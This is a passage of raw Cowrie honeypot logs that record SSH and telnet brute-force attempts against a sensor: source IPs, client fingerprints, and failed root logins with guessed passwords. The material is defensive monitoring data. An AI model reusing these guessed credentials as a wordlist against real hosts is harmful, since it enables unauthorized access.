a2:67:00:8b:55:cb:f2:33:4b:ad:48:99:5a:d7:90:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:09.918435Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:67:00:8b:55:cb:f2:33:4b:ad:48:99:5a:d7:90:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK1tWQKPtERZOcl295M6RXEiQ1zoZeaduBf9ZKxTtv3JobApubTFECms2UosNzxprFxC5jSnN8Tu/7HDVVbqErERsILGF8x7ysTF0yyDQ+wdxmQYFKMtvGVOFIenpYRodE1M5Tn+Olmd/HIkb4w3D+A8PAk7HnMY//f/uR0qHZLchXvBQuPKytfUYyZ/x9ocWdkFk1vyRWJZhk3D3QIWZ05nt3Rojf+2/CjHEBmU8Je1aEwB4/ac6wx4ZqmYoAxcUo1J6G1X/hpchMbdBRNJJccTXQ2VyzFrE2pCaENbMv+bt8iUHayGPkjLukFrf2RjBVG/BdTR8R7RttBwVy4UVSlzO2Opd89MmPRVp86QvxZ5q7J7b9Ger0ilt75tS84vM1Sryd3V+RtUUh1HrMTSP1y+VL7AAW+tROcfKuocxMqIYvW1h/HhWUYIpu5rCvLV6v6uizbfDHZDgKVIHDl7dXIoeXETb4scIv0mnCH+K63yE8s7uXcBs6Gho9i/B51Yimdn0DXej5OJW0/TGRG4lIcUvn1pxb/QvPygm4hMzW+bpM2Baq5ru6l54YlwpQ8vX6C6UQZuvyP1Nn6FCgkljHBc3xIBB0d+/gHfXGm8v5sNiH2XXCSHTTm13I57o331xmu1k2fA6RANZMRIGFdziSHjq+iiJvF2bZfi7Bgy2jZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:09.922243Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:68:89:21:f1:03:c0:7a:a5:c4:81:e4:0c:b3:41:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApRqxFxEIxk8d/gJjNQEb8IafnFS+znwH49I4s2ZUJwgZp7Jvtp3bVLHn86cHQo3TpBXZ6OihUW/nTH6IUjaMTdLAzEBRYS09Qj9BI2FAK/8Y+sclCWalhywjS99ijrXHpqvJyP74T/Zr9/rIRV4B7BCp3RxoUwK6TF55BBDv5s2IdObFTmJbFdfJ681OaUfJuTqsWMwdYOKC2iaHBFdAFDdtwEgBmqyN/LV/BY79gOXVIdANlyj8saomWKT/SYGPQc5MXSCvbuKXLehhkrs05tomE+Wf0WDN5xBp48EabuHabJQZ+SwCGBLJEqhjFeqSFUMZ1gR8xPUE6lP9o4iqqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:68:89:21:f1:03:c0:7a:a5:c4:81:e4:0c:b3:41:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:10.095897Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:68:89:21:f1:03:c0:7a:a5:c4:81:e4:0c:b3:41:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApRqxFxEIxk8d/gJjNQEb8IafnFS+znwH49I4s2ZUJwgZp7Jvtp3bVLHn86cHQo3TpBXZ6OihUW/nTH6IUjaMTdLAzEBRYS09Qj9BI2FAK/8Y+sclCWalhywjS99ijrXHpqvJyP74T/Zr9/rIRV4B7BCp3RxoUwK6TF55BBDv5s2IdObFTmJbFdfJ681OaUfJuTqsWMwdYOKC2iaHBFdAFDdtwEgBmqyN/LV/BY79gOXVIdANlyj8saomWKT/SYGPQc5MXSCvbuKXLehhkrs05tomE+Wf0WDN5xBp48EabuHabJQZ+SwCGBLJEqhjFeqSFUMZ1gR8xPUE6lP9o4iqqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:10.098991Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:10.252980Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":39946,"dst_ip":"10.17.0.5","dst_port":22,"session":"cae3dec6cd8f","protocol":"ssh","message":"New connection: 20.228.179.34:39946 (10.17.0.5:22) [session: cae3dec6cd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:12.820155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:12.823522Z","src_ip":"20.228.179.34","session":"cae3dec6cd8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:12.832752Z","src_ip":"20.228.179.34","session":"cae3dec6cd8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"guarda456","message":"login attempt [root/guarda456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:12.884089Z","src_ip":"20.228.179.34","session":"cae3dec6cd8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:13.896204Z","src_ip":"20.228.179.34","session":"cae3dec6cd8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":47780,"dst_ip":"159.203.135.109","dst_port":22,"session":"79676ad659fa","protocol":"ssh","message":"New connection: 103.27.238.114:47780 (159.203.135.109:22) [session: 79676ad659fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:17.922388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:17.926190Z","src_ip":"103.27.238.114","session":"79676ad659fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:18.188436Z","src_ip":"103.27.238.114","session":"79676ad659fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"izmail","message":"login attempt [root/izmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:18.975483Z","src_ip":"103.27.238.114","session":"79676ad659fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:20.243088Z","src_ip":"103.27.238.114","session":"79676ad659fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":52354,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f344a28886d","protocol":"ssh","message":"New connection: 81.177.101.45:52354 (10.17.0.5:22) [session: 0f344a28886d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:39.199306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:39.206518Z","src_ip":"81.177.101.45","session":"0f344a28886d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:39.328261Z","src_ip":"81.177.101.45","session":"0f344a28886d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wbc123456","message":"login attempt [root/Wbc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:39.836073Z","src_ip":"81.177.101.45","session":"0f344a28886d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:41.016192Z","src_ip":"81.177.101.45","session":"0f344a28886d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:52.122247Z","src_ip":"45.79.207.110","session":"a6458a20a250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":59316,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fdc65f65412","protocol":"ssh","message":"New connection: 103.86.198.253:59316 (159.203.135.109:22) [session: 8fdc65f65412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:59.256293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:59.261165Z","src_ip":"103.86.198.253","session":"8fdc65f65412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:59.529416Z","src_ip":"103.86.198.253","session":"8fdc65f65412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":58194,"dst_ip":"10.17.0.5","dst_port":22,"session":"faf54cd20736","protocol":"ssh","message":"New connection: 143.20.185.207:58194 (10.17.0.5:22) [session: faf54cd20736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:59.571788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:59.577577Z","src_ip":"143.20.185.207","session":"faf54cd20736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:59.691612Z","src_ip":"143.20.185.207","session":"faf54cd20736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS4VCPU8GBAMD","message":"login attempt [root/RASYAXINSAVPS4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:00.077347Z","src_ip":"143.20.185.207","session":"faf54cd20736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123123","message":"login attempt [root/root@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:00.642528Z","src_ip":"103.86.198.253","session":"8fdc65f65412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:01.192727Z","src_ip":"143.20.185.207","session":"faf54cd20736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:01.911443Z","src_ip":"103.86.198.253","session":"8fdc65f65412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":51980,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f2a9aec308a","protocol":"telnet","message":"New connection: 137.184.5.188:51980 (159.203.135.109:23) [session: 7f2a9aec308a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:06.691649Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.160.173.22","src_port":37896,"dst_ip":"10.17.0.5","dst_port":22,"session":"e31714aa1f40","protocol":"ssh","message":"New connection: 124.160.173.22:37896 (10.17.0.5:22) [session: e31714aa1f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:06.791471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:06.796965Z","src_ip":"124.160.173.22","session":"e31714aa1f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:07.036085Z","src_ip":"124.160.173.22","session":"e31714aa1f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3v4","message":"login attempt [root/z1x2c3v4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:08.059469Z","src_ip":"124.160.173.22","session":"e31714aa1f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:09.310190Z","src_ip":"124.160.173.22","session":"e31714aa1f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":58142,"dst_ip":"10.17.0.5","dst_port":22,"session":"9446e281370c","protocol":"ssh","message":"New connection: 211.251.245.88:58142 (10.17.0.5:22) [session: 9446e281370c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:25.016204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:25.019832Z","src_ip":"211.251.245.88","session":"9446e281370c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:25.219944Z","src_ip":"211.251.245.88","session":"9446e281370c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saeed123","message":"login attempt [root/saeed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:26.053801Z","src_ip":"211.251.245.88","session":"9446e281370c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":42020,"dst_ip":"10.17.0.5","dst_port":22,"session":"f496902fbc11","protocol":"ssh","message":"New connection: 91.92.40.176:42020 (10.17.0.5:22) [session: f496902fbc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:37:26.929297Z"}
